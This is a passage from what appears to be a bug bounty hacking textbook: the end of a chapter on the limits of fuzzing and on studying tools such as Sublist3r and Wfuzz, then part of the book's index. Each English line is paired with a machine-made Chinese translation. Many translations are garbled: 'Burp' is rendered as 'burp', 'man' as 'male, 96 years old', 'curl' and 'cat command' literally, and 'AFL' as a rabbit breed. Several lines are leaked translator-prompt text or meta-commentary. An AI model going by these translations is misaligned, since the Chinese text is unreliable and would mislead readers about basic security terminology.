Of course, fuzzing isn’t a magic cure-all solution for all bug detection. This technique has certain limitations, one of which is rate-limiting by the server. During a remote, black-box engagement, you might not be able to send in large numbers of payloads to the application without the server detecting your activity, or you hitting some kind of rate limit. This can cause your testing to slow down or the server might ban you from the service.

当然，模糊测试并非所有漏洞检测的万能解决方案。这种技术有一定的局限性，其中之一是服务器的速率限制。 在远程黑盒测试期间，您可能无法向应用程序发送大量有效负载数据而不被服务器检测到或命中某种速率限制。 这可能会使您的测试减慢，或者服务器可能会禁止您使用该服务。

In a black-box test, it can also be difficult to accurately evaluate the impact of the bug found through fuzzing, since you don’t have access to the code and so are getting a limited sample of the application’s behavior. You’ll often need to conduct further manual testing to classify the bug’s validity and significance. Think of fuzzing as a metal detector: it merely points you to the suspicious spots. In the end, you need to inspect more closely to see if you have found something of value.

在黑盒测试中，通过模糊测试找到的漏洞的影响评估可能也很难。因为你无法访问代码，只能得到应用程序行为的有限样本。通常需要进行进一步的手动测试，以确定漏洞的有效性和重要性。把模糊测试想象成金属探测器：它只是简单地指向了可疑的区域。最终，您需要进行更仔细的检查，以确定是否找到有价值的东西。

Another limitation involves the classes of bugs that fuzzing can find. Although fuzzing is good at finding certain basic vulnerabilities like XSS and SQL injection, and can sometimes aid in the discovery of new bug types, it isn’t much help in detecting business logic errors, or bugs that require multiple steps to exploit. These complex bugs are a big source of potential attacks and still need to be teased out manually. While fuzzing should be an essential part of your testing process, it should by no means be the only part of it.

另一个限制涉及模糊测试可以发现的漏洞类别。尽管模糊测试擅长发现某些基本漏洞，比如XSS和SQL注入，有时可以帮助发现新的漏洞类型，但是它在检测业务逻辑错误或需要多步操作才能利用的漏洞方面并没有太大帮助。这些复杂的漏洞是潜在攻击的重要来源，仍需要手动梳理。虽然模糊测试应该是测试过程的重要组成部分，但绝不应该是唯一的部分。

Adding to Your Automated Testing Toolkit

Automated testing tools like fuzzers or scanners can help you discover some bugs, but they often hinder your learning progress if you don’t take the time to understand how each tool in your testing toolkit works. Thus, before adding a tool to your workflow, be sure to take time to read the tool’s documentation and understand how it works. You should do this for all the recon and testing tools you use.

自动化测试工具（如Fuzzer或扫描器）可以帮助你发现一些漏洞，但是如果你不花时间理解测试工具包中每个工具的工作原理，它们往往会阻碍你的学习进程。因此，在将工具添加到工作流程之前，请确保花时间阅读工具的文档并理解其工作原理。对于您使用的所有侦查和测试工具都应该这样做。

Besides reading the tool’s documentation, I also recommend reading its source code if it’s open source. This can teach you about the methodologies of other hackers and provide insight into how the best hackers in the field approach their testing. Finally, by learning how others automate hacking, you’ll begin learning how to write your own tools as well.

除了阅读工具的文档之外，我还建议阅读其源代码（如果是开源的话）。这可以让你了解其他黑客的方法，并深入了解领域中最好的黑客如何进行测试。最后，学习其他人如何自动化黑客攻击，你也将开始学习如何编写自己的工具。

Here’s a challenge for you: read the source code of the tools Sublist3r ( https://github.com/aboul3la/Sublist3r/ ) and Wfuzz ( https://github.com/xmendez/wfuzz/ ). These are both easy-to-understand tools written in Python. Sublist3r is a subdomain enumeration tool, while Wfuzz is a web application fuzzer. How does Sublist3r approach subdomain enumeration? How does Wfuzz fuzz web applications? Can you write down their application logic, starting from the point at which they receive an input target and ending when they output their results? Can you rewrite the functionalities they implement using a different approach?

这是个挑战：阅读Sublist3r (https://github.com/aboul3la/Sublist3r/)和Wfuzz (https://github.com/xmendez/wfuzz/)工具的源代码。这两个都是用Python编写的易于理解的工具。Sublist3r是一个子域名枚举工具，而Wfuzz是一个Web应用程序模糊测试工具。Sublist3r如何处理子域名枚举？Wfuzz如何模糊测试Web应用程序？您能写下它们的应用逻辑吗，从它们接收输入目标开始，直到输出结果结束？您能否使用不同的方法重新编写它们实现的功能？

Once you’ve gained a solid understanding of how your tools work, try to modify them to add new features! If you think others would find your feature useful, you could contribute to the open source project: propose that your feature be added to the official version of the tool.

一旦你掌握了工具的使用方法，尝试修改它们以新增功能！如果你认为其他人会觉得你的功能有用，你可以为开源项目做出贡献：建议将你的功能添加到工具的官方版本中去。

Understanding how your tools and exploits work is the key to becoming a master hacker. Good luck and happy hacking!

了解你的工具和攻击手段的工作方式是成为大师黑客的关键。祝你好运并愉快地进行黑客活动！

Index

Please note that index links to approximate location of each term.

请注意索引链接到每个术语的近似位置。

Symbols

符号

../ , 279 , 287 , 325

../，279，287，325

.bash_profile , 81

`.bash_profile, 81`: `.bash_profile`，81

/etc/passwd , 252 , 291

`/etc/passwd, 252, 291` 的翻译为：`/etc/passwd，252，291`。

/etc/shadow , 177 , 249 , 253 – 260 , 279 , 332

/etc/shadow，177，249，253-260，279，332

.git directory, 328 – 330 . See also Git

`.git` 目录，328-330。另请参阅 Git。

annotated tags, 330

"注释标签，330"

blobs, 330

斑点、330。

commits, 330

提交，330

trees, 330

树，330

A

一

access control, 43 , 175 , 177 – 178 , 278 , 324 , 364 – 365 . See also broken access control

访问控制，43，175，177-178，278，324，364-365。也查看破坏的访问控制。

access tokens, 312 – 316 , 364 – 365

访问令牌，312-316，364-365

long-lived tokens, 316

长久的令牌，316

account takeover, 172 , 185 , 321

账户接管，172, 185, 321

active scanning, 69 . See also passive scanning

主动扫描，69。也可以参见被动扫描。

ADB. See Android Debug Bridge (ADB)

ADB。请参见Android调试桥（ADB）

admin panels, 70 – 71 , 278 , 321

"管理面板，70-71，278，321" -> "管理面板，70-71，278，321"

AFL. See American Fuzzy Lop (AFL)

AFL，即美国毛绒洛普（AFL）。

alert box, 116 , 122 – 126

警告框，116，122–126

allowlist, 133 , 141 , 194 , 215 , 220 – 221 . See also blocklist

允许列表，133，141，194，215，220-221。查看封锁列表。

Altdns, 69

Altdns，69

Amass, 68

积累，68

Amazon Elastic Compute Cloud (EC2), 77 , 226 . See also Amazon Web Services (AWS)

亚马逊弹性计算云（EC2），77, 226。参见亚马逊网络服务（AWS）。

Amazon S3, 74 – 77 , 226 . See also Amazon Web Services (AWS)

亚马逊S3，74-77，226。另请参阅亚马逊网络服务（AWS）。

Lazys3, 74

Lazys3，74 → 懒懒s3，74

S3 buckets, 61 , 64 , 74

S3存储桶，61，64，74

Amazon Web Services (AWS), 61 , 75 , 308 , 316

亚马逊网络服务（AWS），61、75、308、316

awscli , 75

awscli，75

American Fuzzy Lop (AFL), 370

美国绒毛兔（AFL），370

Android, 335 , 347 – 354

安卓，335，347-354

Android Debug Bridge (ADB), 351

Android 调试桥（ADB），351

Android Package (APK), 350

安卓应用程序包（APK），350

Activities, 350

活动，350。

AndroidManifest.xml , 350

AndroidManifest.xml，350

assets , 351

资产，351

BroadcastReceivers, 350

广播接收器，350

classes.dex , 351

classes.dex，351

ContentProviders, 350

内容提供者，350

lib , 351

库，351

MANIFEST.MF , 351

`MANIFEST.MF, 351` 转换成简体中文是：`MANIFEST.MF，351`

META-INF , 351

META-INF，351

res , 351

资源，351

resources.arsc , 351

资源.arsc，351

res/values/strings.xml , 354

把 `res/values/strings.xml` 里第 354 行的内容翻译成简体中文。

Services, 350

服务，350。

Android Studio, 352

Android Studio，352

developer options, 352

开发者选项，352

Apache

Apache: 阿帕奇

Apache Cassandra, 199

阿帕奇·卡桑德拉，199

Apache Commons FileUpload, 243

Apache Commons FileUpload，243

Apache CouchDB, 199

阿帕奇CouchDB，199

Apache Groovy, 243

阿帕奇Groovy，243。

APIs. See application programming interfaces (APIs)

应用程序编程接口（API）

APK. See Android Package (APK)

APK。请查看安卓程序包（APK）

Apktool, 352

Apktool，352

application logic errors, 275 – 281 , 379 . See also business logic vulnerabilities

应用程序逻辑错误，275-281页，379页。另请参阅业务逻辑漏洞。

application programming interfaces (APIs), 6 , 34 , 355 – 367

应用程序编程接口（API），6、34、355-367

API-centric applications, 361

API中心应用，361。

API enumeration, 362

API枚举，362

API keys, 75 , 226

API密钥，75，226

apt-get , 219

apt-get，219

ASCII, 126 – 127 , 138 – 140 , 293

ASCII，126-127，138-140，293

ASNs. See autonomous systems (ASNs)

ASNs。参见自主系统（ASNs）。

asset, 4 . See also scope

资产，4. 参见范围

attack scenarios, 19

攻击情景，19

attack surface, 5 – 6 , 25 , 61 – 62 , 104 , 309

攻击面，5-6，25，61-62，104，309

authentication app, 276

身份验证应用程序，276

authentication keys, 62

身份验证密钥，62

authorization code, 276 , 314

授权码，276，314

automated testing toolkit, 379

自动化测试工具套件，379。

automation strategies, 318

自动化策略，318

autonomous systems (ASNs), 67

自主系统（ASNs），67

AWS. See Amazon Web Services (AWS)

AWS。请参见亚马逊网络服务（AWS）。

Ayrey, Dylan, 339

艾里，迪伦，339

B

B - B

bash script, 62 , 80 – 104 , 372

Bash脚本，62，80-104，372。

basic authentication, 376

基本身份验证，376

Big List of Naughty Strings, 372

淘气字符串大列表，372。

billion laughs attack, 258 . See also XML bomb

十亿笑声攻击，258。参见 XML 炸弹。

Bitbucket, 316

比特桶，316

bitly.com , 119

bitly.com，119

black-box testing, 336 . See also gray-box testing, white-box testing

黑盒测试，336。另见灰盒测试，白盒测试。

blocklist, 126 , 133 , 215 . See also allowlist

屏蔽列表，126，133，215。请参见允许列表。

broken access control, 275 – 281 , 364 . See also access control

访问控制不当，275-281，364。另请参见访问控制。

brute-forcing, 42 , 54 , 70 – 71 , 376 – 377

暴力破解、42、54、70-71、376-377。

directory brute-forcing, 62 , 70 – 71

目录暴力破解，62，70-71。

URL brute-forcing, 278

URL暴力破解，278

bug bounty

漏洞赏金

bug bounty hunter, 3

漏洞赏金猎人，3

bug bounty platforms, 8

漏洞赏金平台，8。

bug bounty program, 3 – 4

漏洞赏金计划，3-4

notes, 58

笔记，58

private programs, 11

私人计划，11

bug chains, 27

错误链，27

Bugcrowd, 4 , 8 , 17

Bugcrowd，4，8，17 - Bugcrowd，4，8，17

bug slump, 27

错误滑坡，27

built-in functions, 270 – 272 , 288

内置函数，270-272，288。

BuiltWith, 79 , 104

BuiltWith，79，104

Burp, 39 , 47 – 58

打嗝，39，47-58。

AuthMatrix, 185

AuthMatrix，185

Auto Repeater, 185

自动中继器，185

Autorize, 185

授权，185

BAppStore, 185

BAppStore，185。

Burp Suite Pro, 47 , 219

Burp Suite Pro，47，219。

Collaborator, 219

合作者，219

comparer, 58

比较，58

crawler, 72

爬虫，72

decoder, 39 , 57

解码器，39，57

intruder, 54 , 129 , 370 , 372

入侵者，54，129，370，372

repeater, 56

中继器，56

SQLiPy, 203

SQLiPy，203

business impact, 17 , 27 , 104 , 379 . See also business priorities

业务影响，17、27、104、379。请参见业务优先事项。

business logic vulnerabilities, 276 . See also application logic errors

企业逻辑漏洞，276。参见应用逻辑错误。

business priorities, 17 , 27 . See also business impact

企业优先事项，17，27。另请参见企业影响。

business requirements, 279

商业需求，279。

C

请把`C`翻译成简体中文，只返回翻译后的内容，不包括原始文本。

CA. See certificate authority (CA)

CA. 查看证书颁发机构 (CA)

capitalization, 126

大写字母，126

CAPTCHA, 65

验证码，65

Capture the Flag, 12 , 28

抓旗，12号，28号。

Cascading Style Sheets (CSS), 34 , 147

层叠样式表（CSS），34，147。

opacity, 148

不透明度，148

z-index, 147

z-索引，147

cat command, 92

猫命令，92。

CDATA. See character data (CDATA)

字符数据（CDATA）。

Censys, 67 , 70 , 104

Censys、67、70、104：Censys、67、70、104

central processing units (CPUs), 206

中央处理器 (CPU)，206

certificate authority (CA), 50

证书颁发机构(CA)，50

certificate parsing, 67

证书解析，67

certificate pinning, 349 – 350 , 353

证书固定，349-350，353

cert pinning. See certificate pinning

证书固定。请参见证书固定。

character data (CDATA), 259

字符数据（CDATA），259

chmod , 82

更改权限，82

clickjacking, 143 – 154 , 163 – 165

点击劫持，143-154，163-165

client, 34 . See also server

客户端，34。参见服务器。

client IDs, 313 – 315

客户ID，313-315

Cloud computing, 226

云计算，226

CNAME, 308

CNAME, 308: CNAME、308

dangling CNAMEs, 309

错误的CNAME记录，309个。

Cobalt, 4 , 8

钴，4，8

Codecademy, 44 , 80

Codecademy, 44, 80 编程教育网站Codecademy，44，80

code injection, 283 . See also command injection, RCE

代码注入，283。另请参见命令注入，RCE。

command injection, 285 , 343 . See also code injection, RCE

命令注入，285，343。还请参见代码注入，RCE。

command substitution, 84 , 101 , 292

命令替换，84，101，292。

Common Vulnerabilities and Exposures (CVEs), 78 , 281 , 332 , 340

常见漏洞和曝光 (CVEs)，78、281、332、340。

Common Vulnerability Scoring System (CVSS), 17

常见漏洞评分系统（CVSS），17

concurrency, 206

并发，206

confidentiality, 312

保密，312

configuration files, 70

配置文件，70。

CORS. See Cross-Origin Resource Sharing (CORS)

CORS。请参见跨源资源共享（CORS）。

CPUs. See central processing units (CPUs)

中央处理器（CPU）。请参见中央处理单元（CPU）。

Cron, 102 – 103 , 318

Cron，102-103，318

crontabs, 102 – 103

"crontabs"，102-103 -> "crontab"，102-103

Cross-Origin Resource Sharing (CORS), 297 – 298 , 302 – 306

跨源资源共享（CORS），297-298，302-306

cross-site request forgery (CSRF), 128 , 152 , 155 – 174

跨站请求伪造（CSRF），128，152，155-174

cross-site scripting (XSS), 111 – 129 , 308

跨站脚本攻击 (XSS)，111-129，308

CSRF. See cross-site request forgery (CSRF)

CSRF。请参见跨站点请求伪造（CSRF）。

cryptography, 6 – 7 , 339

密码学，6-7，339

weak cryptography, 339

弱加密，339

CSS. See Cascading Style Sheets (CSS)

CSS，见层叠样式表（Cascading Style Sheets）。

CTF. See Capture the Flag

CTF。参见夺旗赛。

CTF Wiki, 273

CTF Wiki，273

curl , 87 , 211 , 366

卷曲，87，211，366

CVEs. See Common Vulnerabilities and Exposures (CVEs)

CVE。请参见通用漏洞和公开漏洞（CVE）。

CVE database, 340

CVE数据库，340

CVSS. See Common Vulnerability Scoring System (CVSS)

CVSS。请参见通用漏洞评分系统（CVSS）。

CyberChef, 39

CyberChef，39岁

Cyrillic, 140

西里尔字母，140

D

`D`：D

Damn Vulnerable Web Application, 203

该项目名称为“可被攻击的 Web 应用程序，203”。

data: , 122 , 138

数据：122，138

database, 188

数据库，188

data entry points, 371

数据输入点，371

data exfiltration, 259

数据外泄，259

data injection points, 371

数据注入点，371。

debugging mode, 351

调试模式，351

debug messages, 64

调试消息，64

Denial-of-Service Attacks (DoS), 10 , 200 , 258

拒绝服务攻击（DoS），10，200，258

ReDoS, 63

ReDoS，63

dependencies, 76 , 250 , 288 , 340

依赖，76，250，288，340

outdated dependencies, 76 , 340

过时的依赖项，76，340。

descriptive error, 196 , 257 , 266 , 268

描述性错误，196，257，266，268

deserialization, 231 – 246

反序列化，231-246。

developer comments, 324 , 328 , 331 , 340 , 345

开发人员评论, 324, 328, 331, 340, 345。

developer tools, 129

开发者工具，129

DigitalOcean, 227

数字海洋，227

directory enumerator, 370

目录枚举器，370

directory traversal, 43 , 177 , 279 , 325 . See also path traversal

目录遍历，43，177，279，325。另见路径遍历。

DNS. See Domain Name System (DNS)

DNS。请参见域名系统 (DNS)。

DOCTYPE, 248

文档类型，248

document.cookie , 115

文档.饼干，115。

Document Object Model (DOM), 117 – 118

文档对象模型（DOM），117-118。

document type definition (DTD), 248 – 250 , 253 – 260

文档类型定义（DTD），248-250，253-260。

DOM. See Document Object Model (DOM)

文档对象模型（DOM）。请参见文档对象模型（DOM）。

domain name, 33 . See also hostname

"域名，33。另见主机名。"

Domain Name System (DNS), 34 – 35

域名系统（DNS），34-35

DNS records, 222

DNS记录，222

AAAA records, 222

AAAA记录，222

A records, 222

A记录，222

DNS zone transfers, 68

DNS区域传输，68。

domain privacy, 66

域名隐私，66

domain registrar, 65 , 223

域名注册商，65，223

DoS. See Denial-of-Service Attacks (DoS)

DOS。参见拒绝服务攻击（DoS）

DTD. See document type definition (DTD)

DTD。请参阅文档类型定义(DTD)。

E

电子

EC2. See Amazon Elastic Compute Cloud (EC2)

EC2。请查看亚马逊弹性计算云（EC2）。

ECB, 339

ECB，339

echo command, 83

回声命令，83。

EdOverflow, 125 , 317

EdOverflow，125，317。

Eloquent JavaScript , 44

JavaScript之美，第44章。

embedded browser, 47 , 50

嵌入式浏览器，47，50。

emulator, 6 , 348 – 349 , 352 – 353

仿真器，6，348-349，352-353

mobile emulator, 348 – 349

移动模拟器，348-349

encoding

编码

base64 encoding, 38 , 138 , 181

base64编码，38，138，181

content encoding, 38

内容编码，38

decimal encoding, 223

十进制编码，223

double encoding, 139

双重编码，139

double word (dword) encoding, 223 – 224

双字（dword）编码，223-224

hex encoding, 38 , 223

十六进制编码，38，223

mixed encoding, 223

混合编码，223

octal encoding, 223

八进制编码，223

URL decoding, 138

URL解码，138

URL encoding, 38 , 138 , 181 , 223

URL编码，38，138，181，223

encryption, 312 , 338 – 339 , 353

加密，312，338-339，353

entropy, 77 , 159 , 182 , 339

熵，77，159，182，339

ERB. See Embedded Ruby template (ERB)

ERB. 查看嵌入式Ruby模板（ERB）

escaping, 119

逃离，119

escape character, 101 , 119 , 293

转义字符，101，119，293。

output escaping, 119

输出转义，119

eval , 284 – 285 , 336 – 338

评估，284-285，336-338。

event listener, 298 – 300 , 302 – 303 , 305

事件监听器，298-300，302-303，305。

onclick , 122

点击，122

onerror , 122

错误，122

onload , 122

载入完成，122。

executable, 7

可执行文件，7

Extensible Markup Language (XML), 247 – 260 , 309 , 357 – 358

可扩展标记语言（XML），247-260，309，357-358。

external entities, 248

外部实体，248。

parameter entities, 256

参数实体，256

XML entities, 248

XML实体，248

XML parsers, 247

XML解析器，247

EyeWitness, 71 , 316

目击者，71，316

F

F - 要素

file inclusion, 286 – 287

文件包含，286-287

local file inclusions, 287

本地文件包含，287

remote file inclusion, 286

远程文件包含，286

File Transfer Protocol (FTP), 260

文件传输协议（FTP），260

filter bypass, 128 , 293

绕过过滤器，128，293。

fingerprinting, 78

指纹识别，78

Firefox, 46 – 52 , 124 , 160 – 161

Firefox，46-52，124，160-161

Flash, 111

闪存，111

Frida, 350 , 353

弗里达，350，353

Objection, 350

反对，350。

Universal Android SSL Pinning Bypass, 350

Android万能SSL绕过，350

FTP. See File Transfer Protocol (FTP)

FTP. 请参考文件传输协议（FTP）。

fuzzing, 125 , 195 , 363 , 370 – 379

"Fuzzing, 125, 195, 363, 370-379" "模糊测试，125，195，363，370-379"

FuzzDB, 372

FuzzDB，372

fuzzers, 369 – 379

模糊测试工具，369-379。

web application fuzzing, 370

网络应用模糊测试，370。

G

`G` in Simplified Chinese is `G` (pronounced as `jī`, with a rising tone).

gadgets, 238 , 243 – 245

小型电子设备，238，243-245。

gadget chains, 243 – 245

小玩意儿链，243-245

getopts , 92 – 98

getopts，92-98

Git, 328

Git，328

Blame, 76

责怪，76

git diff , 103

git diff，103

History, 76

历史，76

Issues, 76

问题，76

GitHub, 75 , 316

GitHub，75，316

GitHub gists, 327

GitHub代码片段，327

GitHub Pages, 308 – 309 , 317

GitHub Pages，308-309、317。

repositories, 75

版本库，75

Gitleaks, 328

Git泄露，328

Gitrob, 77

Gitrob，77

Global Regular Expression Print (grep), 88 – 89

全局正则表达式打印（grep），88至89页。

GoDaddy, 219

GoDaddy，219

Google Cloud, 226 – 227 , 316

谷歌云，226-227，316

Google dorking, 62 , 65 , 74 , 134 , 278

谷歌黑客搜索、62、65、74、134、278

Google Hacking Database, 65

Google Hacking数据库，65

Graphical User Interface (GUI), 373

图形用户界面(GUI)，373

GraphQL, 179 , 358 – 365

GraphQL，179，358-365

Clairvoyance, 362

透视力，362

introspection, 360 -361

内省, 360-361

__ schema , 360

__架构，360

__ type , 361

__类型，361

mutations, 359

突变，359

queries, 359

查询，359。

Playground, 362

游乐场，362

gray-box testing, 336 . See also black-box testing, white-box testing

灰盒测试，336。参见黑盒测试，白盒测试。

grep. See Global Regular Expression Print (grep)

查找。参见全局正则表达式打印（grep）。

GUI. See Graphical User Interface (GUI)

GUI。请参见图形用户界面 (GUI)。

H

H -> 哈

hacker blogs, 28

黑客博客，28。

HackerOne, 4 , 8 , 11 , 17 , 111 , 233

HackerOne，4，8，11，17，111，233 HackerOne，4，8，11，17，111，233

Hacktivity, 209

黑客活动，209

hacking, 61

黑客，61

hacking environment, 45

黑客环境，45

HackTricks, 273

HackTricks，273

hardcoded secrets, 76 , 338 – 339 , 354

硬编码的秘密，76，338-339，354

hardware, 7

硬件，7

hashing, 177

哈希、177

Haverbeke, Marijn, 44

哈弗贝克，玛琳，44岁

HMAC, 42

HMAC，42

Hostinger, 219

Hostinger，219。

hostname, 67 , 296 . See also domain name

主机名，67，296。另见域名。

HTML. See Hypertext Markup Language (HTML)

HTML。请参见超文本标记语言（HTML）

HTTP. See HyperText Transfer Protocol (HTTP)

HTTP。请参见超文本传输协议（HTTP）。

HttpOnly , 115 , 120

HttpOnly, 115, 120 仅限Http，115，120

Hypertext Markup Language (HTML), 34

超文本标记语言（HTML），34

HTML tag, 123

HTML标记，123

HyperText Transfer Protocol (HTTP), 36 – 39

超文本传输协议（HTTP），36-39

cookies, 39

饼干，39

cookie sharing, 308

饼干共享，308

double-submit cookie, 167

双重提交cookie，167

request headers, 36

请求头，36

Authorization , 36 , 376

授权，36，376

Cookie , 36

饼干，36

Host , 36

主持人，36

Origin , 297

起源，297

Referer , 36

来源：36

User-Agent , 36 , 377

用户代理，36，377

request methods, 183

请求方法，183

response bodies, 37 , 324

响应体，37,324。

response headers, 37 , 151 , 324

响应头，37，151，324

Access-Control-Allow-Origin , 37 , 297 – 298 , 302 – 305

跨域资源共享, 37, 297-298, 302-305

Content-Security-Policy , 37 , 120 , 149 , 151

内容安全策略，37，120，149，151。

Content-Type , 37 , 242 , 251

内容类型, 37, 242, 251

frame-ancestors , 149

框架祖先，149

Location , 37

位置，37

Set-Cookie , 37 , 150 , 156

设置Cookie，37，150，156

X-Frame-Options , 37 , 149 , 151 , 153 – 154

X-Frame-Options, 37, 149, 151, 153-154: 框架选项，37，149，151，153-154

response times, 9

响应时间：9

status code, 36 , 219

状态码，36，219。

I

我

identity assertion, 309 – 312

身份声明，309-312

identity provider, 309 – 314 , 316 , 319

身份提供商，309-314，316，319

IDE. See integrated development environment (IDE)

IDE。见集成开发环境（IDE）。

IDORs. See insecure direct object references (IDORs)

IDORs。参见不安全的直接对象引用（IDORs）

IETF. See Internet Engineering Task Force (IETF)

IETF。见Internet工程任务组（IETF）

iframe, 144 – 154 , 158 , 160 , 163 – 164 , 298 – 299 , 304

嵌入框架，144-154，158，160，163-164，298-299，304。

double iframe, 152

双重 iframe，152

frame-busting , 151 – 152

防止框架攻击，151-152

information leaks, 170 , 226 , 229 , 295 , 312 , 324 , 331 – 332 , 354 , 363 – 365

信息泄漏，170，226，229，295，312，324，331-332，354，363-365

inline scripts, 113 – 114

内联脚本，113-114

input redirection, 83

输入重定向，83

input validation, 119 – 120 , 250 , 288 , 291 , 293 , 366

输入验证，119-120，250，288，291，293，366。

insecure deserialization, 231 – 246 , 337 – 338 , 366 – 367

不安全的反序列化，231-246，337-338，366-367。

insecure direct object references (IDORs), 175 – 186 , 353 – 354

不安全的直接对象引用（IDOR），175-186，353-354。

blind IDORs, 183

"盲目的IDORs，183"。

read-based IDORs, 184

基于读取的IDOR，184

write-based IDORs, 184

基于写入的IDORs，184

instance metadata, 226 – 229 , 255

实例元数据，226-229，255

integrated development environment (IDE), 59

集成开发环境（IDE），59

internal network, 214 . See also private network

内部网络，214。另见私人网络。

internal domains, 66

内部域，66

internet, 33

互联网，33

internet security controls, 38

互联网安全控制，38。

Internet Engineering Task Force (IETF), 222

互联网工程任务组（Internet Engineering Task Force，IETF），222

Internet of Things (IoT), 5 , 7 , 122 , 347 , 358

物联网 (IoT)，5，7，122，347，358

Internet Protocol (IP), 34

互联网协议（IP），34

IPv4, 34

IPv4，34

IPv6, 34 , 222

IPv6，34，222

IP addresses, 65 – 66

IP地址，65-66

IP range, 66

IP范围，66

reserved IP addresses, 218

保留的IP地址，218

Intigriti, 4 , 8

Intigriti，4，8 -> Intigriti，4，8

iOS, 348 , 350 , 353

iOS, 348, 350, 353 iOS，348，350，353

IoT. See Internet of Things (IoT)

物联网。请查看物联网 (IoT)。

IP. See Internet Protocol (IP)

IP。参见互联网协议（IP）。

J

`J` 转化为简体中文为 `J`。

java.io.Serializable , 241

java.io.Serializable，241

readObject() , 241 – 242 , 244

读取对象（readObject()），241-242，244。

writeObject() , 241

writeObject()，241

javascript: , 122 – 126

`javascript:, 122–126`的翻译为：`javascript：，122-126`

JavaScript (JS), 34 , 44 , 111 , 353

JavaScript (JS), 34, 44, 111, 353: JavaScript（JS），34，44，111，353。

Angular, 120

角度，120

fromCharCode() , 126

String.fromCharCode（），“126” → 字符串.从CharCode（），“126”

Jenkins, 69

"Jenkins, 69"：詹金斯，69岁

jq , 90 – 91

jq，90-91

jQuery, 118

jQuery, 118 -> jQuery，118

js.do , 127

js.do，127

React, 120

React，120

Retire.js, 180

Retire.js，180

Vue.js, 120

Vue.js，120

JS. See JavaScript (JS)

JS。请查看JavaScript（JS）

JSON, 68 , 184 , 234 , 357

JSON，68，184，234，357。

JSONP. See JSON with Padding (JSONP)

JSONP。参见带填充的JSON（JSONP）

JSON Web Tokens (JWT), 41 – 43

JSON Web Tokens (JWT)，41-43

alg field, 42

算法领域，42

header, 41

标题，41

JSON with Padding (JSONP), 300 – 302 , 305 – 306 . See also JSON

JSONP（JSON补偿技术），300-302，305-306。参见JSON。

JWT. See JSON Web Tokens (JWT). See also JSON

JWT。请查看JSON Web令牌（JWT）。另请参阅JSON。

K

K：开头字母

Kali Linux, 46

Kali Linux，46

KeyHacks, 76

键盘敲击技巧，76

Kibana, 64

Kibana，64 -> Kibana，64

Kubernetes, 227

Kubernetes，227

L

L: L

Learn Python the Hard Way , 44

学习Python的艰辛之路，第44步

LinkFinder, 331

链接查找器，331

Linux, 62

Linux，62

localhost, 218

本地主机，218

low-hanging fruit, 25

易于获取的成果，25。

M

M - "节"

macOS, 62

macOS，62

man , 96

男，96岁

man-in-the-middle attacks, 349

中间人攻击，349

Markdown, 59

Markdown，59

Masscan, 69

Masscan，69

MD4, 339

MD4，339

MD5, 339

MD5，339

memory leaks, 370

内存泄漏，370

methodology, 25 , 27

方法论，25，27

MFA. See multifactor authentication (MFA)

MFA。请参看多重身份验证（MFA）

Miessler, Daniel, 372

迈斯勒，丹尼尔，372

mind-mapping, 59

思维导图，59

mitigation process, 19 – 21

缓解过程，19-21

mkdir , 83

创建目录，83

mobile applications, 6

移动应用，6

mobile hacking, 347 – 354

手机黑客攻击，347-354。

Mobile Security Framework, 353

移动安全框架， 353

MongoDB, 199

MongoDB，199

monitoring system, 318

监控系统，318

multifactor authentication (MFA), 276 – 277 , 280

多因素身份验证(MFA)，276-277，280

multithreading, 206

多线程编程，206。

MySQL, 188 , 196 , 198 , 201

MySQL，188，196，198，201

N

N: "N" (note: there is no direct translation of the letter "N" in Chinese)

Namecheap, 223

Namecheap, 223 - 名便宜，223

Netcat, 219

Netcat，219

NetRange, 66

网络范围，66

network perimeter, 214

网络边界，214。

network scanning, 215 , 224 – 228

网络扫描，215，224-228

NoSQL, 188 , 199 – 201

NoSQL，188，199-201。

NoSQL injections, 199 – 201

"NoSQL注入，199-201"（注意：这是已翻译的简体中文文本，不要包含原始文本）

NoSQLMap, 200

NoSQLMap，200

nslookup , 66 , 222

nslookup，66，222

NULL origin, 297 – 298 , 303 – 305

无上起始点，297-298，303-305

O

哦

OAuth, 141 , 312 – 316 , 320 – 321

OAuth，141、312-316、320-321。

redirect_uri , 313 – 316

重定向 URI，313-316。

object-oriented programming languages, 234

面向对象编程语言，234

Obsidian, 59

黑曜石，59

Offensive Security, 120

攻击性安全，120

open redirect, 131 – 141 , 221 , 314 – 316 , 338 , 342 – 343

开放重定向，131-141，221，314-316，338，342-343

open redirect chain, 315

打开重定向链，315。

parameter-based open redirects, 135

基于参数的开放式重定向，135

referer-based open redirects, 132 , 135

基于referer的开放式重定向，132，135。

operating system, 46 , 62

操作系统，46，62

OSINT, 77

开源情报，77

outbound requests, 228 , 249 , 252

出境请求，228，249，252。

out-of-band interaction, 289

带外交互，289

out-of-band techniques, 219

超带外技术，219

output redirection, 83 – 84

输出重定向，83-84。

OWASP, 28 , 72

OWASP，28，72

Code Review Guide, 336

代码审查指南，336。

Dependency-Check tool, 340

依赖检查工具，340。

Deserialization Cheat Sheet, 244

反序列化备忘录，244

IoTGoat, 122

IoTGoat，122

Mobile Security Testing Guide, 348

移动安全测试指南，348。

SQL injection prevention cheat sheet, 195

SQL注入防御助手表，195

Web Security Testing Guide, 367

Web安全测试指南，367

XSS filter evasion cheat sheet, 128

XSS过滤规避小抄，128

XSS prevention cheat sheet, 120

XSS 预防小抄，120

P

P：P

parameterized queries, 192 . See also prepared statements

参数化查询，192。另请参阅预处理语句。

parent directory, 279 , 325

父目录，279，325

passive scanning, 69 – 70 . See also active scanning

被动扫描，参见主动扫描 69-70。

password-cracking, 269

密码破解，269

Pastebin, 77 – 78 , 324 , 327 – 328

Pastebin，77-78，324，327-328

pastebin-scraper, 328

pastebin-scraper，328

PasteHunter, 78 , 328

PasteHunter，78，328

paste dump sites, 327

粘贴垃圾网站，327

path enumeration, 374 – 375

路径枚举，374-375。

path traversal, 177 , 279 , 325 , 366 – 367 . See also directory traversal

目录遍历，177，279，325，366-367。另见路径遍历。

PATH variable, 81

路径变量，81。

pattern matching, 89

模式匹配，89

payload, 41 , 54 , 154

有效载荷，41，54，154

payouts, 9 – 11

支付，9-11。

Periscope, 153

直播，153

permissions, 178

权限，178

permutations, 69 , 74 – 75

排列组合，69，74-75。

phishing, 129 , 132 , 140 , 309

Phishing: 钓鱼 129: 一百二十九 132: 一百三十二 140: 一百四十 309: 三百零九

PHP, 61 , 70 – 71 , 232 – 241

PHP，61，70-71，232-241

ExtendsClass, 232

ExtendsClass，232。

instantiation, 235 , 239

实例化，235，239

magic methods, 235 – 238

魔法方法，235-238。

object injection vulnerabilities, 233 , 238

对象注入漏洞，233，238。

unserialize() , 235

